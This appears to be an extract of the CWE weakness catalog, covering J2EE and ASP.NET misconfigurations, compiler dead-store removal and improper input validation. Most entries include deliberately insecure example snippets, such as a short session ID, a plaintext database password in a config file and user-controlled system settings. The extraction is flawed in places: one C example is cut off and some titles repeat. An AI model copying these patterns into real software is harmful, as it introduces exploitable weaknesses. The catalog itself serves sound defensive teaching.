Symbols Used in CWE

CWE-1: Location.......................................................................................................................... 1
CWE-2: Environment.................................................................................................................... 1
CWE-3: Technology-specific Environment Issues................................................................. 1
CWE-4: J2EE Environment Issues............................................................................................ 2
CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption................................. 2
CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length................................................ 3
CWE-7: J2EE Misconfiguration: Missing Custom Error Page..................................................... 5
CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote................................................... 6
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods............................ 7
CWE-10: ASP.NET Environment Issues..................................................................................... 8
CWE-11: ASP.NET Misconfiguration: Creating Debug Binary.................................................... 8
CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page.......................................... 9
CWE-13: ASP.NET Misconfiguration: Password in Configuration File..................................... 11
CWE-14: Compiler Removal of Code to Clear Buffers.............................................................. 12
CWE-15: External Control of System or Configuration Setting............................................... 14
CWE-16: Configuration............................................................................................................. 15
CWE-17: Code............................................................................................................................ 17
CWE-18: Source Code............................................................................................................... 17
CWE-19: Data Processing Errors............................................................................................... 18
CWE-20: Improper Input Validation.......................................................................................... 18
CWE-21: Pathname Traversal and Equivalence Errors............................................................. 29
CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’).............. 30
CWE-23: Relative Path Traversal............................................................................................... 40
CWE-24: Path Traversal: ‘../filedir’......................................................................................... 45
CWE-25: Path Traversal: ‘../filedir’......................................................................................... 46
CWE-26: Path Traversal: ‘/dir/../../filename’......................................................................... 48
CWE-27: Path Traversal: ‘dir/../../filename’.......................................................................... 49
CWE-28: Path Traversal: ‘/filedir’......................................................................................... 51
CWE-29: Path Traversal: ‘./filename’..................................................................................... 52
CWE-30: Path Traversal: ‘dir/./filename’.............................................................................. 54
CWE-31: Path Traversal: ‘dir/../filename’............................................................................ 55
CWE-32: Path Traversal: ‘...’ (Triple Dot)... ........................................................................ 57
CWE-33: Path Traversal: ‘...’ (Multiple Dot)... ....................................................................... 58
CWE-34: Path Traversal: ‘///’............................................................................................... 60
CWE-35: Path Traversal: ‘/./’............................................................................................... 62
CWE-36: Absolute Path Traversal............................................................................................ 64
CWE-37: Path Traversal: ‘absolute/pathname/here’................................................................. 67
CWE-38: Path Traversal: ‘absolute\pathname\here’ ............................................................... 68
CWE-39: Path Traversal: ‘C:dirname’ ................................................................................... 70
CWE-40: Path Traversal: ‘\UNC\share\name\’ (Windows UNC Share)........................................ 72
CWE-41: Improper Resolution of Path Equivalence................................................................. 73
CWE-42: Path Equivalence: ‘filename.’ (Trailing Dot)... ................................................................ 78
CWE-43: Path Equivalence: ‘filename... ’ (Multiple Trailing Dot)... ........................................ 79
CWE-44: Path Equivalence: ‘file.name’ (Internal Dot)... .......................................................... 79
CWE-45: Path Equivalence: ‘file...name’ (Multiple Internal Dot)... ........................................... 80
CWE-46: Path Equivalence: ‘filename’ (Trailing Space)... ....................................................... 80
CWE-47: Path Equivalence: ‘ filename’ (Leading Space)... ....................................................... 81
CWE-48: Path Equivalence: ‘ file name’ (Internal Whitespace)... ............................................... 82
CWE-49: Path Equivalence: ‘filename/’ (Trailing Slash)... ....................................................... 83
CWE-50: Path Equivalence: ‘/multiple/leading/slash’.............................................................. 83
CWE-51: Path Equivalence: ‘multiple//internal/slash’................................................................ 84
CWE-52: Path Equivalence: ‘multiple/trailing/slash’/............................................................... 85
CWE-53: Path Equivalence: ‘multiple\internal\backslash’........................................................... 86
CWE-54: Path Equivalence: ‘filedir\’ (Trailing Backslash)......................................................... 86
CWE-55: Path Equivalence: ‘/.’ (Single Dot Directory)... .......................................................... 87
CWE-56: Path Equivalence: ‘filedir*’ (Wildcard)... ................................................................ 88

CWE-285: Improper Authorization .................................................................................. 502
CWE-286: Incorrect User Management .......................................................................... 508
CWE-287: Improper Authentication ................................................................................ 508
CWE-288: Authentication Bypass Using an Alternate Path or Channel .......................... 513
CWE-289: Authentication Bypass by Alternate Name ...................................................... 514
CWE-290: Authentication Bypass by Spoofing ................................................................. 516
CWE-291: Reliance on IP Address for Authentication ...................................................... 518
CWE-292: DEPRECATED (Duplicate): Trusting Self-reported DNS Name ...................... 519
CWE-293: Using Referer Field for Authentication ............................................................. 520
CWE-294: Authentication Bypass by Capture-replay ....................................................... 521
CWE-295: Improper Certificate Validation ...................................................................... 522
CWE-296: Improper Following of a Certificate's Chain of Trust ..................................... 525
CWE-297: Improper Validation of Certificate with Host Mismatch .................................. 526
Table of Contents

CWE-298: Improper Validation of Certificate Expiration
CWE-299: Improper Check for Certificate Revocation
CWE-300: Channel Accessible by Non-Endpoint (‘Man-in-the-Middle’)
CWE-301: Reflection Attack in an Authentication Protocol
CWE-302: Authentication Bypass by Assumed-Immutable Data
CWE-303: Incorrect Implementation of Authentication Algorithm
CWE-304: Missing Critical Step in Authentication
CWE-305: Authentication Bypass by Primary Weakness
CWE-306: Missing Authentication for Critical Function
CWE-307: Improper Restriction of Excessive Authentication Attempts
CWE-308: Use of Single-factor Authentication
CWE-309: Use of Password System for Primary Authentication
CWE-310: Cryptographic Issues
CWE-311: Missing Encryption of Sensitive Data
CWE-312: Cleartext Storage of Sensitive Information
CWE-313: Cleartext Storage in a File or on Disk
CWE-314: Cleartext Storage in the Registry
CWE-315: Cleartext Storage of Sensitive Information in a Cookie
CWE-316: Cleartext Storage of Sensitive Information in Memory
CWE-317: Cleartext Storage of Sensitive Information in GUI
CWE-318: Cleartext Storage of Sensitive Information in Executable
CWE-319: Cleartext Transmission of Sensitive Information
CWE-320: Key Management Errors
CWE-321: Use of Hard-coded Cryptographic Key
CWE-322: Key Exchange without Entity Authentication
CWE-323: Reusing a Nonce, Key Pair in Encryption
CWE-324: Use of a Key Past its Expiration Date
CWE-325: Missing Required Cryptographic Step
CWE-326: Inadequate Encryption Strength
CWE-327: Use of a Broken or Risky Cryptographic Algorithm
CWE-328: Reversible One-Way Hash
CWE-329: Not Using a Random IV with CBC Mode
CWE-330: Use of Insufficiently Random Values
CWE-331: Insufficient Entropy
CWE-332: Insufficient Entropy in PRNG
CWE-333: Improper Handling of Insufficient Entropy in TRNG
CWE-334: Small Space of Random Values
CWE-335: PRNG Seed Error
CWE-336: Same Seed in PRNG
CWE-337: Predictable Seed in PRNG
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)
CWE-339: Small Seed Space in PRNG
CWE-340: Predictability Problems
CWE-341: Predictable from Observable State
CWE-342: Predictable Exact Value from Previous Values
CWE-343: Predictable Value Range from Previous Values
CWE-344: Use of Invariant Value in Dynamically Changing Context
CWE-345: Insufficient Verification of Data Authenticity
CWE-346: Origin Validation Error
CWE-347: Improper Verification of Cryptographic Signature
CWE-348: Use of Less Trusted Source
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action
CWE-351: Insufficient Type Distinction
CWE-352: Cross-Site Request Forgery (CSRF)
CWE-353: Missing Support for Integrity Check
CWE-354: Improper Validation of Integrity Check Value
CWE-355: User Interface Security Issues
CWE-356: Product UI does not Warn User of Unsafe Actions
CWE-357: Insufficient UI Warning of Dangerous Operations
CWE-358: Improperly Implemented Security Check for Standard

CWE-625: Permissive Regular Expression

CWE-626: Null Byte Interaction Error (Poison Null Byte)

CWE-627: Dynamic Variable Evaluation

CWE-628: Function Call with Incorrectly Specified Arguments

CWE-629: Weaknesses in OWASP Top Ten (2007)

CWE-630: Weaknesses Examined by SAMATE

CWE-631: Resource-specific Weaknesses

CWE-632: Weaknesses that Affect Files or Directories

CWE-633: Weaknesses that Affect Memory

CWE-634: Weaknesses that Affect System Processes

CWE-635: Weaknesses Used by NVD

CWE-636: Not Failing Securely ('Failing Open')

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

CWE-638: Not Using Complete Mediation

CWE-639: Authorization Bypass Through User-Controlled Key

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

CWE-641: Improper Restriction of Names for Files and Other Resources

CWE-642: External Control of Critical State Data

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

CWE-645: Overly Restrictive Account Lockout Mechanism

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

CWE-648: Incorrect Use of Privileged APIs

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

CWE-650: Trusting HTTP Permission Methods on the Server Side

CWE-651: Information Exposure Through WSDL File

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

CWE-653: Insufficient Compartmentalization

CWE-654: Reliance on a Single Factor in a Security Decision

CWE-655: Insufficient Psychological Acceptability

CWE-656: Reliance on Security Through Obscurity

CWE-657: Violation of Secure Design Principles

CWE-658: Weaknesses in Software Written in C

CWE-659: Weaknesses in Software Written in C++

CWE-660: Weaknesses in Software Written in Java

CWE-661: Weaknesses in Software Written in PHP

CWE-662: Improper Synchronization

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption

Description
Summary
Information sent over a network can be compromised while in transit. An attacker may be able to read/modify the contents if the data are sent in plaintext or are weakly encrypted.

Time of Introduction
- Implementation
- Operation

Applicable Platforms
Languages
- Java

Common Consequences
Confidentiality
Integrity
Read application data
Modify application data

Potential Mitigations
System Configuration
The application configuration should ensure that SSL or an encryption mechanism of equivalent strength and vetted reputation is used for all access-controlled pages.

Other Notes
If an application uses SSL to guarantee confidential communication with client browsers, the application configuration should make it impossible to view any access controlled page without SSL. There are three common ways for SSL to be bypassed:
- A user manually enters URL and types "HTTP" rather than "HTTPS".
Attacks intentionally send a user to an insecure URL.
A programmer erroneously creates a relative link to a page in the application, which does not switch from HTTP to HTTPS. (This is particularly easy to do when the link moves between public and secured areas on a web site.)

### CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length

**Weakness ID:** 6 *(Weakness Variant)*

**Status:** Incomplete

**Description**

**Summary**
The J2EE application is configured to use an insufficient session ID length.

**Extended Description**
If an attacker can guess or steal a session ID, then he/she may be able to take over the user's session (called session hijacking). The number of possible session IDs increases with increased session ID length, making it more difficult to guess or steal a session ID.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
- Languages
  - Java

**Common Consequences**

**Access Control**
- Gain privileges / assume identity
  If an attacker can guess an authenticated user's session identifier, they can take over the user's session.

**Enabling Factors for Exploitation**
If attackers use a botnet with hundreds or thousands of drone computers, it is reasonable to assume that they could attempt tens of thousands of guesses per second. If the web site in question is large and popular, a high volume of guessing might go unnoticed for some time.

**Demonstrative Examples**
The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

**XML Example:**

```xml
<sun-web-app>
  ...
  <session-config>
    <session-properties>
      <property name="idLengthBytes" value="8">
        <description>The number of bytes in this web module's session ID.</description>
      </property>
      </session-properties>
  </session-config>
</sun-web-app>
```
This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session. Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Potential Mitigations

Implementation
Session identifiers should be at least 128 bits long to prevent brute-force session guessing. A shorter session identifier leaves the application open to brute-force session guessing attacks.

Implementation
A lower bound on the number of valid session identifiers that are available to be guessed is the number of users that are active on a site at any given moment. However, any users that abandon their sessions without logging out will increase this number. (This is one of many good reasons to have a short inactive session timeout.) With a 64 bit session identifier, assume 32 bits of entropy. For a large web site, assume that the attacker can try 1,000 guesses per second and that there are 10,000 valid session identifiers at any given moment. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is less than 4 minutes. Now assume a 128 bit session identifier that provides 64 bits of entropy. With a very large web site, an attacker might try 10,000 guesses per second with 100,000 valid session identifiers available to be guessed. Given these assumptions, the expected time for an attacker to successfully guess a valid session identifier is greater than 292 years.

Background Details
Session ID’s can be used to identify communicating parties in a web environment. The expected number of seconds required to guess a valid session identifier is given by the equation: \( \frac{2^B+1}{2^A*S} \) Where: - B is the number of bits of entropy in the session identifier. - A is the number of guesses an attacker can try each second. - S is the number of valid session identifiers that are available to be guessed at any given time. The number of bits of entropy in the session identifier is always less than the total number of bits in the session identifier. For example, if session identifiers were provided in ascending order, there would be close to zero bits of entropy in the session identifier no matter the identifier's length. Assuming that the session identifiers are being generated using a good source of random numbers, we will estimate the number of bits of entropy in a session identifier to be half the total number of bits in the session identifier. For realistic identifier lengths this is possible, though perhaps optimistic.

CWE-7: J2EE Misconfiguration: Missing Custom Error Page

**Weakness ID:** 7 (Weakness Variant)  
**Status:** Incomplete

**Description**

**Summary**
The default error page of a web application should not display sensitive information about the software system.

**Extended Description**
A Web application must define a default error page for 4xx errors (e.g. 404), 5xx (e.g. 500) errors and catch java.lang.Throwable exceptions to prevent attackers from mining information from the application container's built-in error response.

When an attacker explores a web site looking for vulnerabilities, the amount of information that the site provides is crucial to the eventual success or failure of any attempted attacks.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Java

**Common Consequences**

**Confidentiality**

**Read application data**
A stack trace might show the attacker a malformed SQL query string, the type of database being used, and the version of the application container. This information enables the attacker to target known vulnerabilities in these components.

**Demonstrative Examples**
In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

**Java Example:**

```java
Bad Code
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
        logger.error("Caught: " + ase.toString());
    }
}
```

**Potential Mitigations**

**Implementation**
Handle exceptions appropriately in source code.

**System Configuration**
Always define appropriate error pages. The application configuration should specify a default error page in order to guarantee that the application will never leak error messages to an attacker. Handling standard HTTP error codes is useful and user-friendly in addition to being a good security practice, and a good configuration will also define a last-chance error handler that catches any exception that could possibly be thrown by the application.

**Implementation**
Do not attempt to process an error or attempt to mask it.

**Implementation**
Verify return values are correct and do not supply sensitive information about the system.

**Relationships**

References

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote

Weakness ID: 8 (Weakness Variant) Status: Incomplete

Description

Summary

When an application exposes a remote interface for an entity bean, it might also expose methods that get or set the bean's data. These methods could be leveraged to read sensitive information, or to change data in ways that violate the application's expectations, potentially leading to other vulnerabilities.

Time of Introduction

- Architecture and Design
- Implementation

Common Consequences

Confidentiality
- Integrity
- Read application data
- Modify application data

Demonstrative Examples

XML Example:

```xml
<ejb-jar>
  <enterprise-beans>
    <entity>
      <ejb-name>EmployeeRecord</ejb-name>
      <home>com.wombat.empl.EmployeeRecordHome</home>
      <remote>com.wombat.empl.EmployeeRecord</remote>
    </entity>
    ...  
  </enterprise-beans>
</ejb-jar>
```

Potential Mitigations

Implementation

Declare Java beans "local" when possible. When a bean must be remotely accessible, make sure that sensitive information is not exposed, and ensure that the application logic performs appropriate validation of any data that might be modified by an attacker.

Other Notes

Entity beans that expose a remote interface become part of an application's attack surface. For performance reasons, an application should rarely use remote entity beans, so there is a good chance that a remote entity bean declaration is an error.
CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods

**Description**

**Summary**

If elevated access rights are assigned to EJB methods, then an attacker can take advantage of the permissions to exploit the software system.

**Extended Description**

If the EJB deployment descriptor contains one or more method permissions that grant access to the special ANYONE role, it indicates that access control for the application has not been fully thought through or that the application is structured in such a way that reasonable access control restrictions are impossible.

**Time of Introduction**

- Architecture and Design
- Implementation

**Common Consequences**

Other

Other

**Demonstrative Examples**

The following deployment descriptor grants ANYONE permission to invoke the Employee EJB's method named getSalary().

**XML Example:**

```xml
<ejb-jar>
  ...
  <assembly-descriptor>
    <method-permission>
      <role-name>ANYONE</role-name>
      <method>
        <ejb-name>Employee</ejb-name>
        <method-name>getSalary</method-name>
      </method>
    </method-permission>
  </assembly-descriptor>
  ...
</ejb-jar>
```

**Potential Mitigations**

**Architecture and Design**

**System Configuration**

Follow the principle of least privilege when assigning access rights to EJB methods. Permission to invoke EJB methods should not be granted to the ANYONE role.

## CWE-11: ASP.NET Misconfiguration: Creating Debug Binary

**Weakness ID:** 11 (Weakness Variant)  
**Status:** Draft

### Description

#### Summary

Debugging messages help attackers learn about the system and plan a form of attack.

#### Extended Description

ASP.NET applications can be configured to produce debug binaries. These binaries give detailed debugging messages and should not be used in production environments. Debug binaries are meant to be used in a development or testing environment and can pose a security risk if they are deployed to production.

### Time of Introduction

- Implementation
- Operation

### Applicable Platforms

**Languages**

- .NET

### Common Consequences

#### Confidentiality

Read application data

Attacks can leverage the additional information they gain from debugging output to mount attacks targeted on the framework, database, or other resources used by the application.
Demonstrative Examples
The file web.config contains the debug mode setting. Setting debug to "true" will let the browser display debugging information.

XML Example:

```xml
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
    <system.web>
        <compilation
defaultLanguage="c#"
debug="true"
/>
    ...
<system.web>
</configuration>
```

Change the debug mode to false when the application is deployed into production.

Potential Mitigations

System Configuration
Avoid releasing debug binaries into the production environment. Change the debug mode to false when the application is deployed into production.

Background Details
The debug attribute of the <compilation> tag defines whether compiled binaries should include debugging information. The use of debug binaries causes an application to provide as much information about itself as possible to the user.

</tr>
</tbody>
</table>

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page

Weakness ID: 12 (Weakness Variant) Status: Draft

Description

Summary
An ASP.NET application must enable custom error pages in order to prevent attackers from mining information from the framework's built-in responses.

Time of Introduction
- Implementation
- Operation

Applicable Platforms

Languages
- .NET

Common Consequences

Confidentiality
Read application data
Default error pages gives detailed information about the error that occurred, and should not be used in production environments.
Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.
Demonstrative Examples

An insecure ASP.NET application setting:

**ASP.NET Example:**

```xml
<customErrors mode="Off" />
```

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

**ASP.NET Example:**

```xml
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

Potential Mitigations

**System Configuration**

**Implementation**

Handle exceptions appropriately in source code. The best practice is to use a custom error message. Make sure that the mode attribute is set to "RemoteOnly" in the web.config file as shown in the following example.

```xml
<customErrors mode="RemoteOnly" />
```

The mode attribute of the `<customErrors>` tag in the Web.config file defines whether custom or default error pages are used. It should be configured to use a custom page as follows:

```xml
<customErrors mode="On" defaultRedirect="YourErrorPage.htm" />
```

**Architecture and Design**

Do not attempt to process an error or attempt to mask it.

**Implementation**

Verify return values are correct and do not supply sensitive information about the system.

**System Configuration**

ASP.NET applications should be configured to use custom error pages instead of the framework default page.

Background Details

The mode attribute of the `<customErrors>` tag defines whether custom or default error pages are used.

References

CWE-13: ASP.NET Misconfiguration: Password in Configuration File

Weakness ID: 13 (Weakness Variant)  Status: Draft

Description

Summary
Storing a plaintext password in a configuration file allows anyone who can read the file access to the password-protected resource making them an easy target for attackers.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Access Control
- Gain privileges / assume identity

Demonstrative Examples

Example 1:
The following excerpt from an XML configuration file defines a connectionString for connecting to a database.

XML Example:

```xml
<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
```

The connectionString is in cleartext, allowing anyone who can read the file access to the database.

Example 2:
The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example:

```xml
...<connectionStrings>
  <add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;" providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information.

Potential Mitigations

Implementation
Credentials stored in configuration files should be encrypted. Use standard APIs and industry accepted algorithms to encrypt the credentials stored in configuration files.

CWE-14: Compiler Removal of Code to Clear Buffers

Weakness ID: 14 (Weakness Base) Status: Draft

Description

Summary
Sensitive memory is cleared according to the source code, but compiler optimizations leave the memory untouched when it is not read from again, aka "dead store removal."

Extended Description
This compiler optimization error occurs when:
1. Secret data are stored in memory.
2. The secret data are scrubbed from memory by overwriting its contents.
3. The source code is compiled using an optimizing compiler, which identifies and removes the function that overwrites the contents as a dead store because the memory is not used subsequently.

Time of Introduction
• Implementation
• Build and Compilation

Applicable Platforms
Languages
• C
• C++

Common Consequences
Confidentiality
Access Control
Read memory
Bypass protection mechanism
This weakness will allow data that has not been cleared from memory to be read. If this data contains sensitive password information, then an attacker can read the password and use the information to bypass protection mechanisms.

Detection Methods
Black Box
This specific weakness is impossible to detect using black box methods. While an analyst could examine memory to see that it has not been scrubbed, an analysis of the executable would not be successful. This is because the compiler has already removed the relevant code. Only the source code shows whether the programmer intended to clear the memory or not, so this weakness is indistinguishable from others.

White Box
This weakness is only detectable using white box methods (see black box detection factor). Careful analysis is required to determine if the code is likely to be removed by the compiler.

Demonstrative Examples
The following code reads a password from the user, uses the password to connect to a back-end mainframe and then attempts to scrub the password from memory using memset().

C Example:

```c
void GetData(char *MFAddr) {
    char pwd[64];
    if (GetPasswordFromUser(pwd, sizeof(pwd))) {
        if (ConnectToMainframe(MFAddr, pwd)) {
```

Bad Code
CWE-14: Compiler Removal of Code to Clear Buffers

The code in the example will behave correctly if it is executed verbatim, but if the code is compiled using an optimizing compiler, such as Microsoft Visual C++ .NET or GCC 3.x, then the call to memset() will be removed as a dead store because the buffer pwd is not used after its value is overwritten [18]. Because the buffer pwd contains a sensitive value, the application may be vulnerable to attack if the data are left memory resident. If attackers are able to access the correct region of memory, they may use the recovered password to gain control of the system.

It is common practice to overwrite sensitive data manipulated in memory, such as passwords or cryptographic keys, in order to prevent attackers from learning system secrets. However, with the advent of optimizing compilers, programs do not always behave as their source code alone would suggest. In the example, the compiler interprets the call to memset() as dead code because the memory being written to is not subsequently used, despite the fact that there is clearly a security motivation for the operation to occur. The problem here is that many compilers, and in fact many programming languages, do not take this and other security concerns into consideration in their efforts to improve efficiency.

Attackers typically exploit this type of vulnerability by using a core dump or runtime mechanism to access the memory used by a particular application and recover the secret information. Once an attacker has access to the secret information, it is relatively straightforward to further exploit the system and possibly compromise other resources with which the application interacts.

Potential Mitigations

Implementation
- Store the sensitive data in a "volatile" memory location if available.

Build and Compilation
- If possible, configure your compiler so that it does not remove dead stores.

Architecture and Design
- Where possible, encrypt sensitive data that are used by a software system.

CWE-15: External Control of System or Configuration Setting

Weakness ID: 15 (Weakness Base) Status: Incomplete

Description

Summary
One or more system settings or configuration elements can be externally controlled by a user.

Extended Description
Allowing external control of system settings can disrupt service or cause an application to behave in unexpected, and potentially malicious ways.

Time of Introduction
- Implementation

Modes of Introduction
Setting manipulation vulnerabilities occur when an attacker can control values that govern the behavior of the system, manage specific resources, or in some way affect the functionality of the application.

Common Consequences
- Other
- Varies by context

Demonstrative Examples

Example 1:
The following C code accepts a number as one of its command line parameters and sets it as the host ID of the current machine.

C Example:

```c
... 
sethostid(argv[1]);
...
```

Although a process must be privileged to successfully invoke sethostid(), unprivileged users may be able to invoke the program. The code in this example allows user input to directly control the value of a system setting. If an attacker provides a malicious value for host ID, the attacker can misidentify the affected machine on the network or cause other unintended behavior.

Example 2:
The following Java code snippet reads a string from an HttpServletRequest and sets it as the active catalog for a database Connection.

Java Example:

```java
... 
conn.setCatalog(request.getParameter("catalog"));
...
```

In this example, an attacker could cause an error by providing a nonexistent catalog name or connect to an unauthorized portion of the database.

Potential Mitigations

References
Architecture and Design

Separation of Privilege

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Implementation

Architecture and Design

Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.

Implementation

Architecture and Design

In general, do not allow user-provided or otherwise untrusted data to control sensitive values. The leverage that an attacker gains by controlling these values is not always immediately obvious, but do not underestimate the creativity of the attacker.

CWE-16: Configuration

Category ID: 16  (Category)  Status: Draft

Description

Summary

Weaknesses in this category are typically introduced during the configuration of the software.

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Rebuild & Compare
Dynamic Analysis with automated results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Network Vulnerability Scanner – scan for already-known vulnerabilities for specific products
Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria
Web Application Scanner
Web Services Scanner
Database Scanners
Cost effective for partial coverage:
Network Scanner - id (sub)systems & ports. (what systems are there, ports up? Should they be?)

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Fuzz Tester
Framework-based Fuzzer

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial

| ParentOf  | C    | 18 | Source Code                               | 1003 | 17
| MemberOf  | V    | 1003 | Weaknesses for Simplified Mapping of Published Vulnerabilities | 1003 | 1415

**Maintenance Notes**

This entry is a Category, but various sources map to it anyway, e.g. by NVD, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" might be better described as a Weakness, so this entry might be converted to a Weakness in a later version. Further research is required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

CWE-20: Improper Input Validation

Description

Summary
The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program.

Extended Description
When software does not validate input properly, an attacker is able to craft the input in a form that is not expected by the rest of the application. This will lead to parts of the system receiving unintended input, which may result in altered control flow, arbitrary control of a resource, or arbitrary code execution.

Terminology Notes
The "input validation" term is extremely common, but it is used in many different ways. In some cases its usage can obscure the real underlying weakness or otherwise hide chaining and composite relationships.
Some people use "input validation" as a general term that covers many different neutralization techniques for ensuring that input is appropriate, such as filtering, canonicalization, and escaping. Others use the term in a more narrow context to simply mean "checking if an input conforms to expectations without changing it."

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- Language-independent

**Platform Notes**

**Modes of Introduction**
If a programmer believes that an attacker cannot modify certain inputs, then the programmer might not perform any input validation at all. For example, in web applications, many programmers believe that cookies and hidden form fields can not be modified from a web browser (CWE-472), although they can be altered using a proxy or a custom program. In a client-server architecture, the programmer might assume that client-side security checks cannot be bypassed, even when a custom client could be written that skips those checks (CWE-602).

**Common Consequences**

**Availability**
- DoS: crash / exit / restart
- DoS: resource consumption (CPU)
- DoS: resource consumption (memory)
  An attacker could provide unexpected values and cause a program crash or excessive consumption of resources, such as memory and CPU.

**Confidentiality**
- Read memory
- Read files or directories
  An attacker could read confidential data if they are able to control resource references.

**Integrity**
- Confidentiality
- Availability
- Modify memory
- Execute unauthorized code or commands
  An attacker could use malicious input to modify data or possibly alter control flow in unexpected ways, including arbitrary command execution.

**Likelihood of Exploit**
- High

**Detection Methods**

**Automated Static Analysis**
Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present.

Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

**Manual Static Analysis**
When custom input validation is required, such as when enforcing business rules, manual analysis is necessary to ensure that the validation is properly implemented.
**Fuzzing**

Fuzzing techniques can be useful for detecting input validation errors. When unexpected inputs are provided to the software, the software should not crash or otherwise become unstable, and it should generate application-controlled error messages. If exceptions or interpreter-generated error messages occur, this indicates that the input was not detected and handled within the application logic itself.

**Automated Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Web Application Scanner
  - Web Services Scanner
  - Database Scanners

**Dynamic Analysis with manual results interpretation**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Fuzz Tester
  - Framework-based Fuzzer

- Cost effective for partial coverage:
  - Host Application Interface Scanner
  - Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

**Manual Static Analysis - Source Code**

SOAR High

According to SOAR, the following detection techniques may be useful:

- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

